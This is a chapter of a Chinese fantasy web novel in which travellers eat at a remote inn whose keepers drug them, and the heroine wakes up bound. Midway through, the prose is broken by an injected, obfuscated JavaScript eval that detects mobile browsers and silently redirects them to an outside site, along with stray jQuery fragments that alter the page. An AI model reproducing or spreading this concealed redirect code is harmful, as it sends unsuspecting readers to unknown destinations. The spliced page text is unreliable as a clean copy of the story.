32. 关门抓猪

作品:《情丝引

    “小二,将招牌菜都来一份!”气喘吁吁的锦七毫不顾忌一屁股坐在了大堂最近的位置上,仿若刚从地狱中爬出的饿死鬼般,还未坐稳便声嘶力竭喊道。


    经过长年风吹雨打的屋檐泛着黑绿色青苔,连带着客栈外支起的黄底黑字经幡也沾染上了绿黑色的痕迹,处处都透露着腐朽的味道。


    虽然客栈破旧了些,但一路上走来只有这一间客栈。想来应是门庭若市的,没想到眼下却十分冷清,偌大的大堂内只有锦七一人。


    一大婶掀开帘子从后厨出来,擦着脸上的汗,笑意吟吟地迎了上来,“姑娘,打尖儿还是住店?”


    “打尖儿,单纯吃个饭。”锦七直白道。


    大婶扭头瞧着恢复冷清的门外,似是没人再来,多问一句,“姑娘只有一个人吗?”


    “大娘,这怎么没水啊?”锦七摇了摇倒不出茶水的茶壶,答非所问道。


    瞧着她想掀开茶盖一探究竟的举动,大婶连忙上前抢过茶壶,道:“姑娘先点菜吧,水一会儿就来。”


    “招牌菜都来一份。”没喝到水的锦七有些不高兴,声音中带着些怨念。


    瞧着她身上泛着流光的衫裙,欲言又止的大婶察觉到她不善的语气,没有再多说,直接向厨房喊菜,“满汉全席,一桌。”


    “姑娘,还有其他要求吗?”大婶道。


    无精打采的锦七突然想到了什么,连忙道:“要快!不然这钱,大娘你可就赚不到了。”


    话音未落,姗姗来迟的清笳已经进了客栈,“七姑娘跑这么快,点了些什么菜呀?”


    “···完蛋。”锦七两眼一黑。


    跟着这小妮子,天天不是野果配馒头,就是大饼夹野味。


    路上歇脚的酒肆数不胜数,可清笳自己只愿买一些便宜的馒头大饼,张月鹿与沈楼习惯了她的作风倒是无所谓,只是苦了锦七的胃。


    虽然她不束缚锦七的饮食,也不阻止她点硬菜,但锦七也不好意思自己享受,只得跟着清笳三人过上“返璞归真”的淳朴日子。


    虽说“山珍”是极好的,健康又便宜,但养尊处优的锦七还是忘不了各种调料精心加工,能在味蕾上绽放的人工菜肴。


    锦七站起身来,讪笑道:“没什么。”虽然她没错,但内心不自主地蒙上一层心虚。


    沈楼乐呵地脸上笑容溢出,似乎为终于有人能治锦七而高兴。张月鹿面上不动声色,正视前方的眼睛却往旁偏了些,仿佛在说没眼看。


    清笳看向大婶,问道:“这满汉全席有多少个菜?”


    锦七挑眉,这是同意改善伙食了?


    “十二道,有荤有素,正合适姑娘四人吃,一点不浪费。”大婶一边说话,一边不留痕迹地向后厨方向移去。


    清笳的问题加上锦七的话,大娘直觉这到嘴的鸭子可能得飞,故而加快了脚步。


    “等等,”清笳话峰一转,将锦七最后一点希望扼杀在摇篮之中,“来四碗阳春面,一点儿肉都不要加。”


    大娘脚下一顿,视线在几人身上溜了一圈,不死心地挣扎道:“姑娘···这还有两大兄弟哩。只要面,怕是吃不饱。”


    清笳将荷包打开,将里面的铜板全部倒了出来。铜板前仆后继,后一个撞上前一个,在桌上发出短暂的“哗哗”声。


    未待清笳开口,大婶不再纠结,直接向后厨报菜,“只要四碗阳春面!”


    “还有什么需要的吗?”大婶仍一副乐呵呵的和蔼模样,并没有因他们穷而怠慢。


    “没了,多谢大娘。”


    “得嘞,那各位客官稍等片刻,阳春面马上就来!”大婶麻溜地回到了后厨。


    锦七生无可恋地爬在桌上,痛苦道:“清笳姑娘欸,翻过这座山,咱们就要上船去煊城了。之后一路上就只能吃些腥味冲天的鱼虾,今日还不能吃顿好的吗?”


    好不容易出来一趟,没想到啥也没吃着。


    清笳拿出钱叔飞鸽传书的地图,指着上面蜿蜒崎岖没有任何村落标识的路线,“七姑娘,这前不着村,后不着店的客栈,能拼出十二道菜的满汉全席,咱们还是谨慎为妙。”


    瞥见后厨还在微微晃动的布帘,清笳没有将话说得太直白。


    锦七却满不在乎道:“有我在,清笳姑娘还不能放心吗?”她虽在族中不是最厉害的,但也不是随意哪个小喽啰都能碾死的蚂蚁。


    “还是小心为上。”张月鹿十分认同清笳的谨慎。


    锦七瞧着这个神息若隐若现的男人,撇撇嘴将抱怨尽数咽下。虽不敢断定他是否是自家君上,但有神息便说明不是她一虹雉精惹得起的。


    青水一案之后,张月鹿便感受到体内恢复的些许神力。只是十分微弱,亦或会随着周遭环境灵气的充沛与否时有时无。


    一路走来,他攒下神力想直接进入清笳的意识,直接解答自己的疑惑却一无所获。甚至神力恢复的时间越来越长,似是在惩罚他将神力用在了不该的地方。


    沈楼看着吃瘪的锦七不禁咧着大牙傻乐,接着锦七的冷眼,反而笑得更加猖狂,甚至笑出了声。


    青水一别,他也改变了不少,眉间的阴郁消失不见,喜怒外放犹如个初出茅庐的愣头青。如果不是欠打的毒舌未改,真让人怀疑是被夺舍了。


    清笳瞧着锦七冒火的头顶,和着稀泥,“七姑娘的事情耽搁不得,咱们的事情也需速战速决,咱们赶紧吃了上路吧。”


    她送去关于花家是否也有人被带走的飞鸽传书,在青水拍卖会之前便收到钱叔的回复——她的猜测没错,在花家众多惨死无辜者中夹杂着不知去向的失踪者。


    钱叔信中说,李韫已经完全掌控花府,十分配合地开放了老夫人的院子。堆积在池塘边上的累累白骨,早已分不清身份来源,只能用头骨的数量和花老夫人当初提供的逝者名单进行单纯地数量对比。


    不出所料,果然对不上,但也只是少了三个。三个不多不少,可能是被人带走,也有可能仍藏在池塘内,只是没被挖出来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740979|174168||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为了弄清楚真相,在李韫的配合下,钱叔彻查这十多年以来花家无端消失的家仆人数,这才发现花老夫人提供的只是冰山一角。


    除了本子上的家仆,花家巨大家产下涉及的所有人,无论是长工还是短工都有失踪的,失踪人数高达百余人。


    青水瞧不见尽头的冰室筛选出一人,清笳以为对方只是在寻找命定之人。可花家十几年的经营之下失踪了这么多人,清笳不禁意识到了幕后之人的恐怖。


    相同的目的,都是为了一些特别的人。那么花家的黑袍人与青水的面具人定是同一组织,甚者是同一人。可他们要这么多人做什么?


    解不开的谜团犹如深渊泥潭中的沼泽,身处其中的人越挣扎越无望,只能感受到自己被沼泽一点一点吞噬的无助。问题还在继续,这次没有金钱利诱,清笳主动踏上了这条路。


    “面来咯!”热气腾腾的阳春面短暂驱散了内心笼罩的迷雾,清笳恢复了清醒。


    锦七虽不乐意,但却是第一个下筷子的。她习惯性地先喝一口面汤,感觉有些凉,手指一点扔了一团橙色火苗进去。


    端来茶水的大婶瞧着这一幕,惊呼道:“我的碗!”


    “大娘没事的,不会烧到碗的。”锦七就这还在燃烧的火苗吸溜了一口,赞叹道:“面不错。”


    “多,多谢。”大婶结结巴巴道,“这茶想来姑娘也会觉得凉,我再拿回去温温。”


    “麻烦大娘了。”锦七笑嘻嘻道。一碗素面都这么好吃,不敢想象她家的满汉全席会有多好吃。


    阳春面并没有分大小碗,但四人都能填饱肚子却不浪费,足见店家的诚意。


    “店家钱放桌上了。”吃了面喝了茶,天色尚早,清笳将二十文整齐地码在桌上,招呼着几人启程。


    “走吧走吧,”锦七趁站起来的这个时间间隙,又喝了一杯。


    “慢走!”大娘似乎对他们极为放心,都未出来点钱,隔着布帘送客。


    待几人的背影消失在远处,一壮汉才满头大汗地从布帘后钻出来,伸出泛着白点的殷红手指数着桌上的钱。


    阳春面的市场价是三文一碗,清笳却按五文一碗留的钱,男人惋惜道:“这年头懂礼貌的年轻人不多咯,真是可惜了。”


    男人将染上锃亮血水的铜板收进腰间,对着后厨喊道:“歇业,逮猪。”


    “知道了族长。”几道浑厚的声音答道。


    **


    “嘶,好像麻了。”


    一阵窜麻感从脚底顺着后背正中爬上头皮,迷糊的清笳下意识往下一蹬,企图缓解找回自己已经麻到仿若不存在的腿,脚踝处猛然传来一阵牵拉感以及摩擦疼痛感。


    清笳不得不睁开沉重的眼皮,入眼却是一片黑暗,仿若进入了永无天日的冥界。耳边偶尔传来的刺耳蝉鸣声打破了她不着实际的想法——她还活着。


    动动手,动动脚,清笳宛如一条咸鱼原地蹦跶了一下,随即又恢复了原状。


    她这是,又被绑了?